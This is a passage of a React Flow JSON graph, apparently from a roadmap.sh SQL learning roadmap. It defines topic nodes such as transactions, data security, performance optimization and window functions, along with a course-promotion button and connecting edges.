},\n      \"zIndex\": 999,\n      \"width\": 238,\n      \"height\": 49,\n      \"style\": { \"width\": 238, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 204.97198755548254, \"y\": 1428.3990110065474 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": { \"width\": 238, \"height\": 49 }\n    },\n    {\n      \"id\": \"7sTW1vwUhCFOMXYjScVEt\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 321.97198755548254, \"y\": 1511.9869221425392 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"BEGIN\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 121,\n      \"height\": 49,\n      \"style\": { \"width\": 121, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 321.97198755548254, \"y\": 1511.9869221425392 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": { \"width\": 121, \"height\": 49 }\n    },\n    {\n      \"id\": \"3cMECz5QPVDOFrk5duObs\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 321.97198755548254, \"y\": 1564.9869221425392 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"COMMIT\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 121,\n      \"height\": 49,\n      \"style\": { \"width\": 121, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 321.97198755548254, \"y\": 1564.9869221425392 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": { \"width\": 121, \"height\": 49 }\n    },\n    {\n      \"id\": \"xbD67KVlt3UhHpKh8HLx8\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 321.97198755548254, \"y\": 1617.9869221425392 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"ROLLBACK\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 121,\n      \"height\": 49,\n      \"style\": { \"width\": 121, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 321.97198755548254, \"y\": 1617.9869221425392 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": { \"width\": 121, \"height\": 49 }\n    },\n    {\n      \"id\": \"pJtYvXUo81aZfPuRjIbMq\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 321.97198755548254, \"y\": 1670.9869221425392 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"SAVEPOINT\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 121,\n      \"height\": 49,\n      \"style\": { \"width\": 121, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 321.97198755548254, \"y\": 1670.9869221425392 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 121, \"height\": 49 }\n    },\n    {\n      \"id\": \"igg34gLPl3HYVAmRNFGcV\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 212.08982076233502, \"y\": 1511.9869221425392 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"ACID\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 86,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": { \"x\": 212.08982076233502, \"y\": 1511.9869221425392 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 86, \"height\": 49 }\n    },\n    {\n      \"id\": \"ujeq8EIFcrqkBjoFizsJM\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 29.089820762335023, \"y\": 1343.8865696806383 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Transaction Isolation Levels\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 260,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": { \"x\": 29.089820762335023, \"y\": 1343.8865696806383 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 260, \"height\": 49 }\n    },\n    {\n      \"id\": \"R1ktDJpXOz0PTllAcBrdu\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -193.26200280604616, \"y\": 1428.3990110065474 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Data Integrity & Security\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"UDqbT1y-YzBrljfKSz_RG\"\n      },\n      \"zIndex\": 999,\n      \"width\": 238,\n      \"height\": 49,\n      \"style\": { \"width\": 238, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -193.26200280604616, \"y\": 1428.3990110065474 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": { \"width\": 238, \"height\": 49 }\n    },\n    {\n      \"id\": \"mBQ3Z8GlFcpIena3IB7D_\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -264.01430668156826, \"y\": 1343.8865696806383 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Data Integrity Constraints\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 252,\n      \"height\": 49,\n      \"style\": { \"width\": 252, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -264.01430668156826, \"y\": 1343.8865696806383 },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": { \"width\": 252, \"height\": 49 }\n    },\n    {\n      \"id\": \"03qMopxzjx_-dZbYw9b7J\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -264.01430668156826, \"y\": 1515.0464993424512 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"GRANT and Revoke\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 252,\n      \"height\": 49,\n      \"style\": { \"width\": 252, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -264.01430668156826, \"y\": 1515.0464993424512 },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": { \"width\": 252, \"height\": 49 }\n    },\n    {\n      \"id\": \"vhBZqqmUcEon6-Vwvla4q\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -264.01430668156826, \"y\": 1568.0464993424512 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"DB Security Best Practices\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 252,\n      \"height\": 49,\n      \"style\": { \"width\": 252, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -264.01430668156826, \"y\": 1568.0464993424512 },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": { \"width\": 252, \"height\": 49 }\n    },\n    {\n      \"id\": \"w7FNjdwqjY7X69aJqqBy4\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -607.4741508977197, \"y\": 1428.3990110065474 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Stored Procedures & Functions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"UDqbT1y-YzBrljfKSz_RG\"\n      },\n      \"zIndex\": 999,\n      \"width\": 287,\n      \"height\": 49,\n      \"style\": { \"width\": 287, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -607.4741508977197, \"y\": 1428.3990110065474 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": { \"width\": 287, \"height\": 49 }\n    },\n    {\n      \"id\": \"4rqCPpTb0dAgpheBKshRG\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -592.9741508977197, \"y\": 1645.2523745261662 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Performance Optimization\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"UDqbT1y-YzBrljfKSz_RG\"\n      },\n      \"zIndex\": 999,\n      \"width\": 258,\n      \"height\": 49,\n      \"style\": { \"width\": 258, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -592.9741508977197, \"y\": 1645.2523745261662 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": { \"width\": 258, \"height\": 49 }\n    },\n    {\n      \"id\": \"9wOgP0i9G4HSeZGn2Gm7r\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -591.9741508977197, \"y\": 1813.4578222275159 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Using Indexes\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 256,\n      \"height\": 49,\n      \"style\": { \"width\": 256, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -591.9741508977197, \"y\": 1813.4578222275159 },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": { \"width\": 256, \"height\": 49 }\n    },\n    {\n      \"id\": \"C0dhS6uLf4TUSfvcWyXhv\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -591.9741508977197, \"y\": 1866.4578222275159 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Optimizing Joins\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 256,\n      \"height\": 49,\n      \"style\": { \"width\": 256, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -591.9741508977197, \"y\": 1866.4578222275159 },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": { \"width\": 256, \"height\": 49 }\n    },\n    {\n      \"id\": \"UVTgbZrqpbYl1bQvQejcF\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -591.9741508977197, \"y\": 1919.4578222275159 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Reducing Subqueries\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 256,\n      \"height\": 49,\n      \"style\": { \"width\": 256, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -591.9741508977197, \"y\": 1919.4578222275159 },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": { \"width\": 256, \"height\": 49 }\n    },\n    {\n      \"id\": \"w53CSY53nAAN0ux-XeJ4c\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -591.9741508977197, \"y\": 1972.4578222275159 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Selective Projection\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 256,\n      \"height\": 49,\n      \"style\": { \"width\": 256, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -591.9741508977197, \"y\": 1972.4578222275159 },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": { \"width\": 256, \"height\": 49 }\n    },\n    {\n      \"id\": \"s7WusVSHajNBKOLoo1COz\",\n      \"type\": \"label\",\n      \"position\": { \"x\": -591.9741508977197, \"y\": 2032.4578222275159 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Query Optimization Techniques\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": { \"fontSize\": 17 }\n      },\n      \"zIndex\": 999,\n      \"width\": 256,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": { \"x\": -591.9741508977197, \"y\": 2032.4578222275159 },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": { \"width\": 256, \"height\": 36 }\n    },\n    {\n      \"id\": \"C6P69YiFdS-ioPXMNfX07\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -599.9741508977197, \"y\": 1748.425681269572 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Query Analysis Techniques\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 272,\n      \"height\": 49,\n      \"style\": { \"width\": 272, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": { \"x\": -599.9741508977197, \"y\": 1748.425681269572 },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": { \"width\": 272, \"height\": 49 }\n    },\n    {\n      \"id\": \"UDqbT1y-YzBrljfKSz_RG\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -261.26200280604616, \"y\": 1907.9466965113045 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Advanced SQL\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 187,\n      \"height\": 49,\n      \"style\": { \"width\": 187, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": -261.26200280604616, \"y\": 1907.9466965113045 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": { \"width\": 187, \"height\": 49 }\n    },\n    {\n      \"id\": \"TjgwabhEtaSoYMLNr6q9l\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 22.917108454473976, \"y\": 1854.9466965113045 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Recursive Queries\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 260,\n      \"height\": 49,\n      \"style\": { \"width\": 260, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 22.917108454473976, \"y\": 1854.9466965113045 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": { \"width\": 260, \"height\": 49 }\n    },\n    {\n      \"id\": \"nwFaz9i-1s0WVrVaFsoqb\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 22.917108454473976, \"y\": 1907.9466965113045 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Pivot / Unpivot Operations\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 260,\n      \"height\": 49,\n      \"style\": { \"width\": 260, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 22.917108454473976, \"y\": 1907.9466965113045 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": { \"width\": 260, \"height\": 49 }\n    },\n    {\n      \"id\": \"tBvXLLp5FKeSSN35Kj1X4\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 22.917108454473976, \"y\": 1801.9466965113045 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Window Functions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 260,\n      \"height\": 49,\n      \"style\": { \"width\": 260, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 22.917108454473976, \"y\": 1801.9466965113045 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": { \"width\": 260, \"height\": 49 }\n    },\n    {\n      \"id\": \"tedQynR0xicVKhuR1oahw\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 22.917108454473976, \"y\": 1960.9466965113045 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Common Table Expressions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 260,\n      \"height\": 49,\n      \"style\": { \"width\": 260, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 22.917108454473976, \"y\": 1960.9466965113045 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": { \"width\": 260, \"height\": 49 }\n    },\n    {\n      \"id\": \"z5Sf0VU14ZCQ80kL1qOqc\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 22.917108454473976, \"y\": 2013.9466965113045 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Dynamic SQL\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 260,\n      \"height\": 49,\n      \"style\": { \"width\": 260, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 22.917108454473976, \"y\": 2013.9466965113045 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": { \"width\": 260, \"height\": 49 }\n    },\n    {\n      \"id\": \"zW27ZHdLwQY-85iqbBKQZ\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 42.34043885768011, \"y\": 1707.7884641029652 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Row_number\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 135,\n      \"height\": 49,\n      \"style\": { \"width\": 135, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 42.34043885768011, \"y\": 1707.7884641029652 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": { \"width\": 135, \"height\": 49 }\n    },\n    {\n      \"id\": \"cucCPw3KfetAP2OMFUs0X\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 42.34043885768011, \"y\": 1551.7884641029652 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"rank\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 135,\n      \"height\": 49,\n      \"style\": { \"width\": 135, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 42.34043885768011, \"y\": 1551.7884641029652 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": { \"width\": 135, \"height\": 49 }\n    },\n    {\n      \"id\": \"QM0ltgPu8lLLYc2MsTLj-\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 42.34043885768011, \"y\": 1603.7884641029652 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"dense_rank\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 135,\n      \"height\": 49,\n      \"style\": { \"width\": 135, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 42.34043885768011, \"y\": 1603.7884641029652 },\n      \"dragging\": false,\n      \"resizing\": true,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": { \"width\": 135, \"height\": 49 }\n    },\n    {\n      \"id\": \"aJJjaGunRrwyh9MjQfJt-\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 42.34043885768011, \"y\": 1655.7884641029652 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"lead\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 66,\n      \"height\": 49,\n      \"style\": { \"width\": 66, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 42.34043885768011, \"y\": 1655.7884641029652 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": { \"width\": 66, \"height\": 49 }\n    },\n    {\n      \"id\": \"BcXdxY6bld5c0YNFSKkh-\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 111.34043885768011, \"y\": 1655.7884641029652 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"lag\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 66,\n      \"height\": 49,\n      \"style\": { \"width\": 66, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 111.34043885768011, \"y\": 1655.7884641029652 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": { \"width\": 66, \"height\": 49 }\n    },\n    {\n      \"id\": \"FcAeu8woDM7N51do6aiBV\",\n      \"type\": \"paragraph\",\n      \"position\": { \"x\": -611.9219566015802, \"y\": -122.7695706291704 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"We just launched our premium SQL course, check it out below\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#FFFFFf\"\n        },\n        \"oldId\": \"yHmHXymPNWwu8p1vvqD3o\"\n      },\n      \"zIndex\": 999,\n      \"width\": 322,\n      \"height\": 141,\n      \"positionAbsolute\": { \"x\": -611.9219566015802, \"y\": -122.7695706291704 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": { \"width\": 322, \"height\": 141 },\n      \"resizing\": false,\n      \"measured\": { \"width\": 322, \"height\": 141 }\n    },\n    {\n      \"id\": \"5n6N956H6tfwlQ0vqXW7e\",\n      \"type\": \"button\",\n      \"position\": { \"x\": -594.4219566015802, \"y\": -42.7695706291704 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"NEW / Premium SQL Course\",\n        \"href\": \"https://roadmap.sh/courses/sql\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": { \"fontSize\": 17 },\n        \"oldId\": \"R_Fs6rdl2XtQ9aLOubMqL\",\n        \"borderColor\": \"#4136D6\"\n      },\n      \"zIndex\": 999,\n      \"width\": 286,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": { \"width\": 286, \"height\": 49 },\n      \"resizing\": false,\n      \"positionAbsolute\": { \"x\": -594.4219566015802, \"y\": -42.7695706291704 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 286, \"height\": 49 }\n    }\n  ],\n  \"edges\": [\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"nhUKKWyBH80nyKfGT8ErC\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"gx4KaFqKgJX9n9_ZGMqlZ\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"reactflow__edge-JDDG4KfhtIlw1rkNCzUliz2-gx4KaFqKgJX9n9_ZGMqlZy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"nhUKKWyBH80nyKfGT8ErC\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"JDDG4KfhtIlw1rkNCzUli\",\n      \"targetHandle\": \"w2\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"reactflow__edge-nhUKKWyBH80nyKfGT8ErCx2-JDDG4KfhtIlw1rkNCzUliw2\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"JDDG4KfhtIlw1rkNCzUli\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"6yoo7qC6X2jYDIjd3HIm7\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"reactflow__edge-JDDG4KfhtIlw1rkNCzUliy2-6yoo7qC6X2jYDIjd3HIm7z1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"JDDG4KfhtIlw1rkNCzUli\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"tBzMDfCMh6MIagNaxCzin\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"reactflow__edge-JDDG4KfhtIlw1rkNCzUliy2-tBzMDfCMh6MIagNaxCzinz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"JDDG4KfhtIlw1rkNCzUli\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"ffwniprGJHZzJ7t3lQcXz\",\n      \"targetHandle\": \"z1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"reactflow__edge-JDDG4KfhtIlw1rkNCzUliy2-ffwniprGJHZzJ7t3lQcXzz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"JDDG4KfhtIlw1rkNCzUli\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"xPOeXK1EPBNG56vgfG-VV\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"reactflow__edge-JDDG4KfhtIlw1rkNCzUliz2-xPOeXK1EPBNG56vgfG-VVy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"iogwMmOvub2ZF4zgg6WyF\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"nhUKKWyBH80nyKfGT8ErC\",\n      \"targetHandle\": \"w1\",\n      \"data\": { \"edgeStyle\": \"solid\" },\n      \"id\": \"reactflow__edge-iogwMmOvub2ZF4zgg6WyFx2-nhUKKWyBH80nyKfGT8ErCw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"nhUKKWyBH80nyKfGT8ErC\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"R9DQNc0AyAQ2HLpP4HOk6\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": \"reactflow__edge-nhUKKWyBH80nyKfGT8ErCz2-R9DQNc0AyAQ2HLpP4HOk6y1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"nhUKKWyBH80nyKfGT8ErC\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"fNTb9y3zs1HPYclAmu_Wv\",\n      \"targetHandle\": \"y1\",\n      \"data\": { \"edgeStyle\": \"dashed\" },\n      \"id\": 